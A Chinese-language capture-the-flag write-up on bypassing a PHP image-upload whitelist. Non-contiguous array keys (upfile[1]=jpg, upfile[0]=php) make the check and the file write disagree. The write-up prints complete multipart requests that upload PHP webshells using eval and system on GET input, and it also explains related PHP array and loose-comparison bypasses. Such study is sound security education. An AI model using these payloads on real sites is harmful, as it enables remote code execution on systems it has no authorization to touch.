一、题目相关

题目介绍和初始步骤


页面提供一个文件上传表单,提示 “Allow One Image File”,只允许上传 GIF/JPG/JPEG/PNG 图片。
先扫目录,发现index.php.bak文件,但是文件代码被PHPJiaMi加密了,解密后发现包含一个核心上传类文件 UploadFile.class.php,也被加密了。

PHPJiaMi 解密方法

解密脚本:phpjiami.zip
本题源码使用 PHPJiaMi 加密,index.php.bakUploadFile.class.php.bak 均为密文。解密方法如下:

  1. 专用解密脚本:下载 phpjiami 解密脚本,将加密文件放入 encode/ 目录,运行 php phpjiami.php,解密结果输出到 decode/
  2. Xdebug 动态调试:在 eval() 处下断点单步跟踪,运行时变量即为解密后的代码
  3. Hook eval 输出:修改加密文件,将最后的 eval($decoded) 替换为 echo $decodedfile_put_contents('decoded.php', $decoded),直接输出解密后的明文

解密后得到的就是下面分析的 UploadFile.class.php 源码。

完整解密后的源码

index.php(入口文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if($_FILES) { // 检测是否有文件上传
include 'UploadFile.class.php'; // 引入上传类
$dist = 'upload'; // 上传目录
$upload = new UploadFile($dist, 'upfile'); // 实例化,字段名=upfile
$data = $upload->upload(); // 执行上传逻辑
}
?>
<!DOCTYPE html>
<html>
...
<!-- HTML 表单,包含一个文本输入框 + 文件选择框 -->
<form method="post" enctype="multipart/form-data">
<input type="text" name="upfile" placeholder="默认使用文件名">
<input type="file" name="upfile">
<button type="submit">Submit</button>
</form>
...
</html>

注意 HTML 中有两个 name="upfile" 的元素:一个文本输入框(用于自定义文件名),一个文件选择框(用于选择上传文件)。提交时文本内容进入 $_POST['upfile'],文件进入 $_FILES['upfile']

UploadFile.class.php(核心上传类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class UploadFile {
public $error = '';
protected $field;
protected $allow_ext;
protected $allow_size;
protected $dist_path;
protected $new_path;

function __construct($dist_path, $field='upfile', $new_name='random',
$allow_ext=['gif','jpg','jpeg','png'], $allow_size=102400)
{
$this->field = $field; // 表单字段名:'upfile'
$this->allow_ext = $allow_ext; // 白名单:['gif','jpg','jpeg','png']
$this->allow_size = $allow_size; // 最大文件大小:100KB
$this->dist_path = realpath($dist_path); // 目标目录绝对路径

if ($new_name === 'random') {
$this->new_name = uniqid(); // 默认随机生成文件名
} elseif (is_string($new_name)) {
$this->new_name = $new_name; // 或使用自定义文件名
}
}

function upload()
{
// ★ 第1步:获取文件名——优先从 $_POST 取(漏洞入口)
$filename = !empty($_POST[$this->field])
? $_POST[$this->field] // 用 POST 提交的自定义文件名
: $_FILES[$this->field]['name']; // 否则用上传文件的原名

// ★ 第2步:分割扩展名——如果是数组则跳过分割(漏洞关键)
if (!is_array($filename)) {
$filename = explode('.', $filename); // "shell.jpg" → ['shell', 'jpg']
}

// 第3步:检查非法字符
foreach ($filename as $name) {
if (preg_match('#[<>:"/\\|?*.]#is', $name)) {
return $this->error('文件名中包含非法字符');
}
}

// 第4步:检查文件大小
if ($_FILES[$this->field]['size'] > $this->allow_size) {
return $this->error('你上传的文件太大');
}

// ★ 第5步:白名单检查——使用 $filename[count($filename)-1](漏洞点)
if (!in_array($filename[count($filename) - 1], $this->allow_ext)) {
return $this->error('只允许上传图片文件');
}

// ★ 第6步:写入文件——使用 end($filename)(漏洞点)
$origin_name = current($filename); // 第一个元素
$ext = end($filename); // 最后一个元素
$new_name = ($this->new_name ?: $origin_name) . '.' . $ext;
$target_fullpath = $this->dist_path . '/' . $new_name;
if (move_uploaded_file($_FILES[$this->field]['tmp_name'], $target_fullpath)) {
return ['filename' => $new_name, 'name' => $ext];
} else {
return $this->error('上传失败');
}
}
}

漏洞点定位

漏洞出在以下两行之间的不一致:

操作 代码 含义
白名单检查 $filename[count($filename)-1] 按下标取最后一个位置的值
写入文件 end($filename) 按数组顺序取最后一个元素

在索引连续的数组中,两者结果一致。但键名不连续时,结果分叉了。

利用原理

发送请求时将 POST 字段名构造为数组形式:

1
2
upfile[1] → "jpg"
upfile[0] → "php"

PHP 解析结果:

1
2
3
4
$_POST['upfile'] = [
1 => 'jpg', // 先收到,排在前面
0 => 'php' // 后收到,排在末尾
];

执行检查:

1
2
3
count($filename)      // = 2
count($filename) - 1 // = 1
$filename[1] // = 'jpg' ✅ 通过白名单!

执行写入:

1
end($filename)  // = 'php' 🚩 数组末尾是 php!

最终文件保存为 uniqid.php,成功上传 PHP webshell。

用bp发送请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
------WebKitFormBoundary
Content-Disposition: form-data; name="upfile[1]"

jpg
------WebKitFormBoundary
Content-Disposition: form-data; name="upfile[0]"

php
------WebKitFormBoundary
Content-Disposition: form-data; name="upfile"; filename="webshell.jpg"
Content-Type: image/jpeg

GIF89a<?php eval($_GET['c']); ?>
------WebKitFormBoundary--

知识拓展:HTTP/PHP 协议细节

$_POST 与 $_FILES 的分离存储

一开始有个疑惑:发请求时同时有 upfile[1]=jpgupfile[0]=php 和文件上传 upfile=webshell.jpg,它们不会互相覆盖吗?

答案是不会。 PHP 把 multipart 请求中的数据根据类型分别存到了两个不同的超全局变量中:

数据类型 存储位置 示例
文本字段(无文件内容) $_POST $_POST['upfile'] = [1=>'jpg', 0=>'php']
文件字段(含文件内容) $_FILES $_FILES['upfile']['tmp_name']['name']['size']

两者是独立的超全局变量,互不干扰。而本题源码特意优先从 $_POST 读取扩展名

1
2
3
$filename = !empty($_POST[$this->field])     // $_POST['upfile'] 非空?
? $_POST[$this->field] // → 用数组 [1=>'jpg', 0=>'php']
: $_FILES[$this->field]['name']; // → 否则才用上传文件名

$_POST['upfile'] = [1=>'jpg', 0=>'php'] 时,条件成立,$filename 直接等于这个数组,根本不看 $_FILES['upfile']['name'] 里的 webshell.jpg。文件内容(shell 代码)则通过move_uploaded_file($_FILES[$this->field]['tmp_name'], ...) 正常写入磁盘。

关键理解: HTTP 协议本身没有”数组”概念,upfile[1] 在协议层面只是一个普通字符串字段名。是 PHP 在解析 $_POST 时识别出 [] 语法,自动将其构造为数组。其他语言(Java、Python、Node.js)不会做这种展开。

?: 运算符详解与文件名拼接

源码第 57 行:

1
$new_name = ($this->new_name ?: $origin_name) . '.' . $ext;

拆解:

部分 含义 示例值
?: Elvis 运算符——$a ?: $b 等价于 $a ? $a : $b 如果 $this->new_name 为真(非空)就用它,否则用 $origin_name
$origin_name current($filename)——数组第一个元素的值 'jpg'
$ext end($filename)——数组最后一个元素的值 'php'
结果 $new_name = 'jpg.php' 保存为 upload/jpg.php

正常流程 vs 利用流程对比:

流程 $filename 来源 $_POST['upfile'] $filename 结果 current() end() 最终文件名
正常 $_FILES['name']explode('.', 'webshell.jpg') ['webshell', 'jpg'] 'webshell' 'jpg' webshell.jpg
利用 $_POST['upfile'] [1=>'jpg', 0=>'php'] [1=>'jpg', 0=>'php'] 'jpg' 'php' jpg.php

利用流程中,webshell.jpg 里的 webshell 根本没有被用到——current() 取到的是 POST 数组的第一个值 'jpg',文件名主体就变成了 jpg。但文件内容仍然是 shell,写入 jpg.php 后照样能执行。

multipart/form-data 协议格式详解

在 Burp Suite 中看到的请求体格式是 HTTP 的 multipart/form-data 协议,用于在请求体中携带多个独立的数据块(包括文件)。完整的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
↑ 随机分隔符

------WebKitFormBoundaryxxx ← 分隔线:标志一个字段的开始
Content-Disposition: form-data; name="upfile[1]"
← 空行:分隔"头"和"体"
jpg ← 字段的值(文本)
------WebKitFormBoundaryxxx ← 下一个字段的开始
Content-Disposition: form-data; name="upfile[0]"

php
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="upfile"; filename="shell.gif" ← 文件字段多一个 filename
Content-Type: image/gif ← 文件字段可以带 Content-Type

GIF89a<?php system($_GET['c']); ?> ← 文件内容(二进制)
------WebKitFormBoundaryxxx-- ← 末尾多两个 --,表示请求体结束

各部分的作用:

协议部分 含义
boundary=----xxx 随机生成的分隔字符串,用于在请求体中区分不同字段
------xxx 分隔线——告诉 HTTP 服务器”一个新字段开始了”
Content-Disposition: form-data; name="字段名" 声明该字段在表单中的名称
; filename="xxx" 仅文件字段有——告诉服务器文件原始名称
Content-Type: xxx 仅文件字段有——告诉服务器文件类型
空行 头体分隔——上面是字段元信息,下面是字段值
字段值 文本或文件的二进制内容
------xxx-- 结束标记——末尾多两个 --,表示整个 multipart 结束

为什么 Burp Suite 可以任意添加字段?

因为 HTTP 协议对 Content-Disposition: name="..." 中的字段名没有做任何限制。name="upfile[1]" 在协议层面只是一个普通字符串。浏览器受 HTML 表单规范限制,但 Burp Suite 让你完全控制原始请求,想写什么字段名都行。

工具/环境 能否修改字段名 原因
浏览器 HTML 表单 ❌ 不能 只能按 <input name="upfile"> 发送
Burp Suite 拦截后修改 ✅ 随意改 完全控制原始 HTTP 请求
curl ✅ 可以 -F "upfile[1]=jpg" 显式指定
编程发送(Python requests 等) ✅ 可以 直接构造 multipart 数据

1.7.4 Content-Type 对比:不只是 POST

multipart/form-data 只是 HTTP 请求的 Content-Type 之一。常见的三种 POST 数据格式:

Content-Type 数据格式 能否上传文件 典型场景
application/x-www-form-urlencoded username=admin&password=123 ❌ 不能 普通表单登录、搜索等
multipart/form-data; boundary=xxx 每字段用 boundary 分隔 ✅ 能 文件上传、含文件的大表单
application/json {"username":"admin"} ❌ 不能 REST API、Ajax 请求

不过实际场景中,文件上传 99% 走 POST + multipart/form-data,因为 HTML <form> 只支持 POST,且浏览器原生支持此组合。本漏洞的核心不在于 HTTP 方法或 Content-Type,而在于 PHP 对 [] 语法的数组化解析,配合源码中不严谨的数组取值逻辑。

1.7.5 PHP 数组索引模型:与 Python 列表的关键区别

很多有 Python 背景的学习者会在这里产生困惑,认为 $arr[n] 是按位置/下标索引——就像 Python 的 list[n] 取第 n 个元素。这是理解漏洞的关键障碍。

PHP 数组本质上是「有序哈希映射」(ordered hash map)$arr[n] 存取的是键名为 n 的元素,而非第 n 个位置。插入顺序决定遍历顺序,键名决定访问路径。

以上传的数组为例:

1
2
3
4
$_POST['upfile'] = [
1 => 'jpg', // 先发送,排在数组前面
0 => 'php' // 后发送,排在数组后面
];
操作 PHP 语义 结果 Python 对比(如果是 list)
$arr[0] 键名为 0 的元素 'php' list[0] = 第 0 个元素 → 'jpg'
$arr[1] 键名为 1 的元素 'jpg' list[1] = 第 1 个元素 → 'php'
count($arr) 元素总数 2 len(list)2
$arr[count($arr)-1] 等价于 $arr[1]键名 1 'jpg' list[len-1] = 最后一个元素'php'
end($arr) 数组末尾的元素(值而非键) 'php' list[-1]'php' ✅ (巧合一致)
current($arr) 数组开头的元素 'jpg' list[0]'jpg' ✅ (巧合一致)

关键差异对比表:

特性 PHP $arr[n] Python list[n]
索引方式 键名访问(key lookup) 位置访问(index)
键必须连续? ❌ 可以不连续 ✅ 始终 0,1,2,…
键顺序 = 插入顺序? ✅ 是(有序哈希) ✅ 是
arr[0] 含义 键名为 0 的元素 第一个元素(位置 0)
取最后一个元素 end($arr) list[-1]
取第一个元素 current($arr) list[0]

正是这种差异制造了本题的漏洞:

1
2
3
// PHP 语义下,以下两种操作完全不等价
$filename[count($filename) - 1] // 按下标/键名取值 → $filename[1] → 'jpg'
end($filename) // 按顺序取值 → 数组末尾 → 'php'

如果 PHP 数组像 Python 列表那样严格按位置索引,$arr[count($arr)-1]end($arr) 永远一致,这个漏洞就不存在了。

记忆口诀: PHP 里 $arr[n] 是在数组中找钥匙挂牌 n 的那个,不是数到第 n 个

其他 PHP 数组特性相关的绕过方法

以下方法与本题思路一致,均利用 PHP 数组操作的特性绕过安全校验。

$_FILES 中 name 字段的数组化绕过

本题利用的是 $_POST 字段的数组化。同样的技巧也可以作用于 $_FILES——当 name="upfile[]"name="upfile[name][]" 时,$_FILES['upfile']['name'] 变为数组而非字符串:

1
2
3
Content-Disposition: form-data; upfile="upfile[]"; filename="webshell.php"

<?php @eval($_GET['c']); ?>

这时某些校验函数会因传入数组而失效:

函数 传入数组时的行为
strrchr($name, '.') 参数类型错误,返回 false
pathinfo($name) 参数类型错误,返回 false
strtolower($name) 返回空或警告,视 PHP 版本
preg_match() 返回 false 而非匹配结果

如果不做 is_array() 检查就走这些函数,校验层可能因为返回 false 而认为”不合法 → 拒绝”,但某些逻辑中 false 反而被 ! 取反后通过。
真正危险的是能让数组绕过检查同时被正常写入的组合——就像本题的 is_array() → 跳过分割 的逻辑,使数组直接进入后续处理。

in_array() 松散比较的类型混淆绕过

PHP 的 in_array() 如果不传第三个参数 true,使用**松散比较 ==**而非严格比较 ===

1
2
3
4
5
6
7
8
9
10
11
$allow_ext = ['jpg', 'jpeg', 'gif', 'png'];

// 危险:松散比较
if (!in_array($ext, $allow_ext)) {
exit('not allowed');
}

// 安全:严格比较
if (!in_array($ext, $allow_ext, true)) {
exit('not allowed');
}

松散比较下,PHP 存在大量类型转换陷阱:

1
2
3
var_dump(in_array('php', ['jpg', 0]));      // true! 'php' == 0 → true
var_dump(in_array('php', ['jpg', null])); // true! 'php' == null → true
var_dump(in_array(true, ['jpg', 'png'])); // true! true == 'jpg' → 非空字符串转bool为true

这意味着如果 $allow_ext 中的某个值(如通过配置读取时)变成了整数 0null,攻击者传入任何非数字开头的字符串都能通过检查。

1
2
3
// 假设配置解析异常,$allow_ext = ['jpg', 'gif', 0];
// 攻击者传 ext=abc
in_array('abc', ['jpg', 'gif', 0]); // true! 'abc' == 0

数组与字符串连接导致校验绕过

PHP 中,数组与字符串用 . 连接会得到 "Array"

1
2
$arr = ['jpg', 'php'];
echo $arr . '.htaccess'; // 输出 "Array.htaccess",不是 "jpg.php.htaccess"

如果校验代码用 . 拼接路径后检查扩展名,传入数组就会使扩展名固定变为 "Array"

1
2
3
4
5
6
7
$ext = $_POST['ext'];  // 攻击者传 ext[]=jpg
$filename = 'shell.' . $ext; // $ext 是数组 → 结果是 'shell.Array'
$check = pathinfo($filename, PATHINFO_EXTENSION); // = 'Array'

if (in_array($check, $allow_ext)) { // 'Array' 不在白名单中 → 被拒绝
move_uploaded_file($tmp, $dir . $filename);
}

这不会绕过,反而会被拒绝。但反过来,如果白名单中恰好允许了 "Array",那就会绕过。更典型的利用场景是日志记录或错误信息中的字符串拼接,当拼接结果传入了 file_put_contents()include() 时,路径变为 xxxArrayxxx,可能触发文件包含。

总结

数组绕过手法 关键差异 / 利用点 防御要点
count-1 vs end() 键名差异 不连续键名时下标取值与顺序取值的分叉 统一使用同一条路径取值
$_FILES['name'] 数组化 传入数组使字符串函数失效 is_array() 检查再处理
in_array() 松散比较 == 导致的类型转换('php' == 0 始终开启第三个参数 true
数组 + . 字符串连接 数组拼接得到固定字符串 "Array" 类型检查后再拼接